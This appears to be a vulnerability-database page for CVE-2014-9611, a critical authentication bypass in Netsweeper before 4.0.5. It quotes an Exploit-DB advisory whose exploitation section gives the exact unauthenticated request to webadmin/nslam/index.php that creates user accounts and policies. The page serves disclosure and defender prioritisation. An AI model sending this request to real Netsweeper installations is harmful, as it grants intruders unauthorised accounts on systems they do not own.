CVE-2014-9611

critical

Published 2017-09-19 · Modified 2026-05-13

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CVSS v3

9.8

CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

CVSS v4 NEW

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not yet in upstream

VIR risk

10.0

Description

Netsweeper before 4.0.5 allows remote attackers to bypass authentication and create arbitrary accounts and policies via a request to webadmin/nslam/index.php.

Predictions

Exploit likelihood

97%

Patch ETA

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Heuristic predictions, AS-IS, for prioritization only.

Mitigations

No mitigations published for this CVE yet.

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Exploits

Public proof-of-concept code below. AS-IS, for defenders and authorised testing only.

Exploit-DB

EDB-37931 webapps php text · 1 KB

Anastasios Monachos · 2015-08-21

Netsweeper 3.0.6 - Authentication Bypass

text exploit Source: Exploit-DB

+------------------------------------------------------------------------+
+ Netsweeper 3.0.6 - Authentication Bypass (Account and Policy Creation) +
+------------------------------------------------------------------------+
Affected Product: Netsweeper
Vendor Homepage	: www.netsweeper.com
Version 	: 3.0.6 (and probably other versions)
Discovered by	: Anastasios Monachos (secuid0) - [anastasiosm (at) gmail (dot) com]
Patched      	: Yes
CVE		: CVE-2014-9611

+---------------------+
+ Product Description +
+---------------------+
Netsweeper is a software solution specialized in content filtering.

+----------------------+
+ Exploitation Details +
+----------------------+
An non-authenticated is able to provision new user accounts (and also create new policies under the same name as the newly created user accounts) 

URL Path: http:/netsweeper:8080/webadmin/nslam/index.php?username=secuid0&password=secuid0&ip=127.0.0.1&theme=Global%20Web%20Admin%20Theme&groupname=

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+ Solution +
+----------+
Upgrade to latest version.

+---------------------+
+ Disclosure Timeline +
+---------------------+
24-Nov-2014: Initial Communication
03-Dec-2014: Netsweeper responded
03-Dec-2014: Shared full details to replicate the issue
18-Dec-2014: Confirm fix on version 4.0.5
17-Jan-2015: CVE assigned CVE-2014-9611
11-Aug-2015: Public disclosure

Application impact

Vendor	Product	Versions	Fixed
netsweeper	netsweeper	`{"endIncluding":"4.0.4"}`

References

CWEs

CWE-287

Community-verified mitigations for this CVE will appear above when contributors publish them.

Verify integrity in audit chain (admin only). AS-IS.